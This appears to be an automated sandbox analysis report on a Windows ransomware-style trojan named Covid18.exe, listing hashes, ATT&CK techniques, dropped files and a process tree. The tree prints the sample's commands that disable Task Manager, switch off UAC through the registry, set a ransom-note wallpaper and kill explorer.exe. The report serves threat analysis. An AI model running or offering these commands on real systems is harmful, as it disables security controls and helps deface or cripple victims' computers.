70971148ed1fadb17a1de707b03b0b61bcf9d523c540b9bf4e411b5bb0dda5f0

Analysis

max time kernel
1792s
max time network
1168s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2024, 18:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Covid18.exe
Size

1.1MB
MD5

3350a84a3ab955c4138829a12c611aac
SHA1

5f74b27351f0f771ea65f6e51e5d974406f22e7a
SHA256

fa185e316b5797e7135f56d15caa81c64449fe05f4580f14d7d4651271d1577e
SHA512

e13da1b9f13a0b083007e9423c2408011b618d9cf3b6c78141caf121074ac90341e1b1c18288a5de14dfee4b8829e5dab504da8a0a4a2eff1b35460b3ccd99a3
SSDEEP

24576:bttVypSRczM0Z3h0iRdJKGthQ1/wmtFdmx7CAvU9zrRG:btTLI93Rd7A1w8Fdi75V

Score

10^/10

evasion ransomware trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
evasion

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/4252-0-0x0000000000400000-0x0000000000636000-memory.dmp	upx
behavioral4/memory/4252-14-0x0000000000400000-0x0000000000636000-memory.dmp	upx

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\Desktop\Wallpaper = "c:\\note.bmp"	reg.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4180	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2076	reg.exe
816	reg.exe
1136	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4180	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 4152	4252	Covid18.exe	93
PID 4252 wrote to memory of 4152	4252	Covid18.exe	93
PID 4252 wrote to memory of 4152	4252	Covid18.exe	93
PID 4152 wrote to memory of 2076	4152	cmd.exe	95
PID 4152 wrote to memory of 2076	4152	cmd.exe	95
PID 4152 wrote to memory of 2076	4152	cmd.exe	95
PID 4152 wrote to memory of 3260	4152	cmd.exe	96
PID 4152 wrote to memory of 3260	4152	cmd.exe	96
PID 4152 wrote to memory of 3260	4152	cmd.exe	96
PID 4152 wrote to memory of 1204	4152	cmd.exe	97
PID 4152 wrote to memory of 1204	4152	cmd.exe	97
PID 4152 wrote to memory of 1204	4152	cmd.exe	97
PID 4152 wrote to memory of 3888	4152	cmd.exe	98
PID 4152 wrote to memory of 3888	4152	cmd.exe	98
PID 4152 wrote to memory of 3888	4152	cmd.exe	98
PID 4152 wrote to memory of 4184	4152	cmd.exe	99
PID 4152 wrote to memory of 4184	4152	cmd.exe	99
PID 4152 wrote to memory of 4184	4152	cmd.exe	99
PID 4152 wrote to memory of 4276	4152	cmd.exe	100
PID 4152 wrote to memory of 4276	4152	cmd.exe	100
PID 4152 wrote to memory of 4276	4152	cmd.exe	100
PID 4152 wrote to memory of 1900	4152	cmd.exe	101
PID 4152 wrote to memory of 1900	4152	cmd.exe	101
PID 4152 wrote to memory of 1900	4152	cmd.exe	101
PID 4152 wrote to memory of 4460	4152	cmd.exe	102
PID 4152 wrote to memory of 4460	4152	cmd.exe	102
PID 4152 wrote to memory of 4460	4152	cmd.exe	102
PID 4152 wrote to memory of 572	4152	cmd.exe	103
PID 4152 wrote to memory of 572	4152	cmd.exe	103
PID 4152 wrote to memory of 572	4152	cmd.exe	103
PID 4152 wrote to memory of 3348	4152	cmd.exe	104
PID 4152 wrote to memory of 3348	4152	cmd.exe	104
PID 4152 wrote to memory of 3348	4152	cmd.exe	104
PID 4152 wrote to memory of 4176	4152	cmd.exe	105
PID 4152 wrote to memory of 4176	4152	cmd.exe	105
PID 4152 wrote to memory of 4176	4152	cmd.exe	105
PID 4152 wrote to memory of 5056	4152	cmd.exe	106
PID 4152 wrote to memory of 5056	4152	cmd.exe	106
PID 4152 wrote to memory of 5056	4152	cmd.exe	106
PID 4152 wrote to memory of 228	4152	cmd.exe	107
PID 4152 wrote to memory of 228	4152	cmd.exe	107
PID 4152 wrote to memory of 228	4152	cmd.exe	107
PID 4152 wrote to memory of 3536	4152	cmd.exe	108
PID 4152 wrote to memory of 3536	4152	cmd.exe	108
PID 4152 wrote to memory of 3536	4152	cmd.exe	108
PID 4152 wrote to memory of 1212	4152	cmd.exe	109
PID 4152 wrote to memory of 1212	4152	cmd.exe	109
PID 4152 wrote to memory of 1212	4152	cmd.exe	109
PID 4152 wrote to memory of 1012	4152	cmd.exe	110
PID 4152 wrote to memory of 1012	4152	cmd.exe	110
PID 4152 wrote to memory of 1012	4152	cmd.exe	110
PID 4152 wrote to memory of 724	4152	cmd.exe	111
PID 4152 wrote to memory of 724	4152	cmd.exe	111
PID 4152 wrote to memory of 724	4152	cmd.exe	111
PID 4152 wrote to memory of 4776	4152	cmd.exe	112
PID 4152 wrote to memory of 4776	4152	cmd.exe	112
PID 4152 wrote to memory of 4776	4152	cmd.exe	112
PID 4152 wrote to memory of 1040	4152	cmd.exe	113
PID 4152 wrote to memory of 1040	4152	cmd.exe	113
PID 4152 wrote to memory of 1040	4152	cmd.exe	113
PID 4152 wrote to memory of 2552	4152	cmd.exe	114
PID 4152 wrote to memory of 2552	4152	cmd.exe	114
PID 4152 wrote to memory of 2552	4152	cmd.exe	114
PID 4152 wrote to memory of 1216	4152	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\Covid18.exe
"C:\Users\Admin\AppData\Local\Temp\Covid18.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8184.tmp\covid18.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\note.bmp /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:3260
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1204
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3888
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4184
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1900
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:572
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3348
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4176
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:5056
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:228
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3536
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1212
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1012
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:724
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4776
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1040
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2552
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1216
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3864
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:232
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2644
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:544
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3836
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:672
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1336
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4432
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:3104
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4512
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4092
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:816
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8184.tmp\covid18.bat

Filesize
6KB

MD5
4d3900ef27a03c430d067ee4a0e79905

SHA1
85517ca18dc0335824655b1080bc029bc268778f

SHA256
425df1b6b4609df15ea636d7d24b5385a1fac0b822f85a240d358c8f65ac8443

SHA512
95a62d3894601396aacba53123a9b82187d2ba5867eac33f8b974973775da579d2654117aee33c162ff211c6be838a5967753a41d58bf52b7cfc497de9943f0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\8184.tmp\killmbr.exe

Filesize
101KB

MD5
bd8aa7b54d59e2500c3481a489476333

SHA1
fa2fcd68c472da4111b489e99a9c9f38c1067bf1

SHA256
9c40558cda6883ecc0944e767ec23749698d7dfcb191731b30323dd739de1dbf

SHA512
f4363beaa6006d4d9f3f09813dd6edc8056a497e05600465db3d59798471c30fbb80442053c5154ab49729b82687af14806b15e338af0414c25ddcedd0e2bca0

Download Submit
C:\Users\Admin\AppData\Local\Temp\8184.tmp\note.bmp

Filesize
2.0MB

MD5
ec128b2a2097b849334e7afea60937d3

SHA1
29d08e38164ef7f910e286a5389a259540547e4a

SHA256
2cc4607d03a26f9332949806c456b5aa0abf2dc6ef116b2f665fd679e587275c

SHA512
ec7a590aed6f5b9cb8f08e306edbd9a430cfc586366e188835ea5ff394e7b22050520b76e95821dee55d332e6c5df4a4bc28ceb13a2a04d397c55f516268766b

Download Submit
memory/4252-0-0x0000000000400000-0x0000000000636000-memory.dmp

Filesize
2.2MB

Download
memory/4252-14-0x0000000000400000-0x0000000000636000-memory.dmp

Filesize
2.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads